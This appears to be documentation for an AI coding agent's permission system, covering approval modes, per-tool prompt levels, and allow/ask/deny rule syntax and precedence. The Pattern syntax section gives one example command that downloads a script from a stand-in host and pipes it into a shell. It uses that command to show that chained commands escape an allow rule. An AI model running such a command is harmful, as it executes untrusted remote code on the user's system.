Skip to main content
Every tool the model calls goes through o4’s approval check before it runs. The permission mode sets how much o4 asks you, and permission rules let you allow, ask about, or deny specific tools and arguments. Permissions decide whether a tool call runs at all. The sandbox is a separate layer that limits what an approved shell command can reach.

Permission modes

A session has one permission mode. The default is ask. In every mode, deny rules and PreToolUse hooks can still refuse a call. What each mode means in practice:
  • ask: o4 prompts before file changes, shell commands, web fetches and searches, and anything else that isn’t read-only. Some tools ask only once per session for the same target (see Ask once, ask every time).
  • accept-edits: file edits and writes run without a prompt. Shell commands and other tools still ask.
  • plan: read-only. Tools that always run (reading, searching, listing, git_info) still work. Everything else is refused without a prompt. This is separate from Plan mode (Shift+Tab), which limits the model to a set of planning tools whatever the permission mode.
  • review: before o4 shows you a prompt, a reviewer model checks the exact action. The reviewer is the model the session started with; switching models with /model doesn’t change it. If the reviewer approves, the tool runs. If it declines, times out (after 60 seconds), or errors, you get the normal prompt instead. A declined review never blocks a tool on its own. The reviewer approves bash commands only when an enforcing sandbox is active and the sandbox tier is not open. Otherwise you are asked. This check looks at the tier you pick with Alt+S (or default_tier), not at --sandbox, so with --sandbox danger-full-access the reviewer can still approve commands that then run unsandboxed. After 3 declines among the last 5 reviews in a turn, o4 stops consulting the reviewer and asks you directly until the next turn.
  • auto: tool calls that would prompt run without asking.
  • bypass: every tool call runs without asking, including package installs that declare install-time scripts.
auto and bypass let the model edit files and run shell commands without asking you. Use them only in a workspace you can afford to lose changes in, and keep the sandbox on. In every mode except bypass, o4 still asks before a package install that runs install-time scripts. deny rules apply in every mode, including bypass.

Choose a mode

Pass --permission-mode when you start o4:
In the TUI, press Alt+A to cycle modes in this order: ask, accept-edits, plan, review, auto, bypass, then back to ask. The new mode takes effect right away, and a toast shows it, for example Approval policy: Accept edits. Switching into bypass opens a confirmation first (“Enable bypass approvals?”). Press Y or Enter to confirm, or N or Esc to switch to ask instead. You can rebind Alt+A with the cycle_approval action in [keybindings]; see the configuration reference. Starting a session in bypass shows a warning: “Approval mode is bypass: every tool call runs without asking, including installs”.

The default mode

The Permission default row in /config (General tab) sets the mode new sessions start in. Each Enter on the row moves to the next of ask, accept-edits, plan, review and auto, and the current session switches to that mode too. It is saved as permission_default in ~/.o4/settings.json (the older spelling allow still means auto). bypass can’t be saved as a default. You have to pick it for each session. --permission-mode overrides the saved default for that run. When you resume a session, o4 restores that session’s last mode unless you pass --permission-mode. A session that was in bypass resumes in your default mode instead. In print mode (--print) nobody is there to answer a prompt. If you don’t pass --permission-mode, print mode runs in auto. With --permission-mode ask or accept-edits, any call that would prompt is refused instead. With review, a call the reviewer doesn’t approve is refused. Because a package install that runs install-time scripts always needs a prompt, print mode refuses it in every mode except bypass. See Print mode and scripting.

The approval prompt

When a tool needs your approval, o4 shows the tool name, a description, its arguments, and for file edits a short preview of the change. For a sub-agent’s request, it also shows which sub-agent is waiting. For most tools the choices are: For write, edit and fetch calls, when o4 can build a reusable pattern from the call, the prompt offers pattern choices instead of No, cancel: Use the arrow keys and Enter to pick a choice, or press its key. After t, type your message and press Enter. On a prompt with pattern choices, Tab approves the call and lets you type a note that goes to the model with it. Esc leaves the message box without deciding. The saved pattern covers the file’s folder or the URL’s domain. For example, approving an edit to src/app/main.rs offers Edit(src/app/**), and a fetch of https://docs.rs/serde offers Fetch(domain:docs.rs). o4 applies the rule for the rest of the session and appends it to [[permissions.rules]] in the project’s .o4/config.toml. In a workspace you haven’t trusted, later sessions ignore that file, so the saved rule lasts only for the current session. Shell commands are asked about each time, so they don’t get these choices. Write Bash(...) rules yourself; see Permission rules. bash commands that install packages declaring install-time (lifecycle) scripts get a different prompt: Block installation (b or 1), View full lifecycle scripts (v or 2) and Allow installation (a or 3). Block installation is selected first, and on this prompt y blocks the install too. Only a, 3, or Enter on Allow installation runs it.

Ask once, ask every time

Each tool has a default level. In ask mode it decides whether you see a prompt:
  • Always run: read, glob, grep, ls, git_info, sleep, ask_user_question, tool_search, skill, todo_write, enter_plan_mode, exit_plan_mode, plan_status, task_list, task_get, task_output, task_wait, list_mcp_resources, codebase_query, show_architecture, harness_audit, and the goal tools (create_goal, get_goal, update_goal).
  • Ask once per session: write, edit, notebook_edit, fetch, web_fetch, web_search, agent, undo, brief, send_message, synthetic_output, enter_worktree, exit_worktree, test_run, lsp, format, plan_create, plan_modify, checkpoint_create, and MCP tools. After you approve one, o4 doesn’t ask again this session for the same target: the same file for write, edit and notebook_edit, the same host for fetch, the same MCP server for MCP tools. For the other tools in this group, one approval covers the tool for the rest of the session.
  • Ask every time: bash, repl, task_create, task_update, task_stop, team_create, team_delete, remote_trigger, campaign, checkpoint_restore, read_mcp_resource, the memory tools (memory_save, memory_search, memory_list, memory_forget), and tools that plugins add.
See Tools for what each tool does.

Permission rules

Permission rules let you allow, ask about, or deny tool calls by pattern, whatever the mode. Add them to any o4 config file as [[permissions.rules]] entries:
action is allow, ask or deny:
  • allow runs the call without a prompt, as if the tool always ran.
  • ask treats the call like a tool that asks every time, even if it normally asks once per session. The permission mode still applies, so in auto the call runs without a prompt.
  • deny refuses the call in every mode, including bypass. The model gets “Tool execution denied by permission rule”.
An allow rule treats the call like a tool that always runs, so it runs in every mode, including plan. The one exception: o4 still asks before a package install that runs install-time scripts (except in bypass).

Pattern syntax

A pattern is a tool name, optionally followed by an argument pattern in parentheses:
  • Write matches every call to the write tool.
  • Bash(npm run *) matches bash calls whose command matches npm run *.
Tool names are case-insensitive, and o4 ignores punctuation in them, so Bash, bash and shell all name the bash tool. The argument pattern is matched against one argument of the call: Other tools have no argument to match, so only a bare tool name works for them. MCP tools are named <server>__<tool>, so a rule for the search tool of a server named docs uses the pattern docs__search. An argument pattern never matches an MCP tool, so docs__search(...) matches nothing. In argument patterns, * matches any characters except /, ** matches any characters including /, and ? matches any one character. This applies to bash commands too: Bash(git add *) matches git add README.md but not git add src/main.rs, so use Bash(git add **) when a command can contain paths. Prefix a fetch pattern with domain: to match the URL’s host: Fetch(domain:*.github.com). Path patterns match the path exactly as the model wrote it, so a relative-path rule doesn’t match an absolute path. bash patterns are checked against each part of a compound command (joined with &&, ;, |, and so on). Before matching, o4 strips leading wrappers such as sudo and env FOO=1, so Bash(npm *) also sees sudo npm install. An allow rule applies only when every part matches and o4 can parse each part; parts that use command substitution such as $(...) never count as matching an allow rule. A deny or ask rule applies when any part matches. So Bash(cargo test *) doesn’t approve cargo test && curl evil.sh | sh.

Precedence

  • deny rules are checked first, then ask, then allow. The first match wins, so a deny always beats an allow, wherever each one came from.
  • o4 collects rules from every config file it loads: ~/.o4/config.toml, the project’s .o4/config.toml and .o4/config.local.toml, and ~/.o4/managed/config.toml. Rules from project files are only read in a trusted workspace. Rules add up across files; one file can’t remove another’s rules.
  • If no rule matches, the tool’s normal behavior and the permission mode decide.
  • PreToolUse hooks run after the rules. A hook can block or deny the call, or return an allow or ask decision that replaces the rule’s result.

Manage rules in the TUI

Run /config general, select the Permission rules row, and press Enter to open the Permission Rules list. The list shows the rules in the current project’s .o4/config.toml. Select a rule and press Enter to remove it from the file. Rules in other config files aren’t listed there. Edit those files directly.
After you remove a rule from this list, the current session keeps only the rules left in the project’s .o4/config.toml. Rules from ~/.o4/config.toml, .o4/config.local.toml and ~/.o4/managed/config.toml, including their deny rules, stop applying until you start a new session. Start a new session after removing a rule if you rely on rules from those files.
The same tab has the Sandbox tier and Sandbox policy rows, covered in Sandbox.